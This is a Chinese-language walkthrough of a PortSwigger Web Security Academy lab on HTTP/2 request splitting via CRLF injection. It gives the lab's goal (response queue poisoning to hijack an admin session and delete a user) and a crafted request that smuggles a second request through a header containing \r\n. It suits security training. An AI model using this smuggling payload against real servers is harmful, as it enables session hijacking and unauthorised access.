从业者-CRLF请求拆分
# 实验室:通过CRLF注入实现HTTP/2请求拆分
# 题目
此实验室容易受到请求走私的攻击,因为前端服务器会降级 HTTP/2 请求,并且无法充分清理所传入的标头。
若要解决实验室问题,请执行响应队列投毒 (opens new window)并闯入位于/admin
的管理面板,然后删除carlos
用户。管理员用户大约每 10 秒登录一次。
与后端的连接每 10 个请求重置一次,当你让连接进入不理想状态时,请不要担心 - 只需发送一些正常请求即可获得新的连接。
提示
若要在 HTTP/2 标头中插入换行符,请通过 Inspector 进入对应标头的设置框,然后按Shift + Return
键。请注意,当你双击标头时,此功能不可用。
译者加
当你往 HTTP/2 消息中添加了\r\n
序列之后,请求编辑窗口会显示为 “kettled”(不可用),这是正常情况。因为编辑器无法在不丢失信息的情况下,使用 HTTP/1 语法准确地表示 HTTP/2 请求。
- name: 实验室-从业者
desc: 通过CRLF注入实现HTTP/2请求拆分 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
GET / HTTP/2
Host: 0a4a000404bc8ec380b3179900970074.web-security-academy.net
Foo: x\r\n
\r\n
GET /404 HTTP/1.1
Host: 0a4a000404bc8ec380b3179900970074.web-security-academy.net
↓
GET / HTTP/2
Host: 0a4a000404bc8ec380b3179900970074.web-security-academy.net
Foo: x
GET /404 HTTP/1.1
Host: 0a4a000404bc8ec380b3179900970074.web-security-academy.net
1
2
3
4
5
6
2
3
4
5
6
fRZmp0fQlPqO5Krg3smoEKc52jKFThnJ
1
编辑 (opens new window)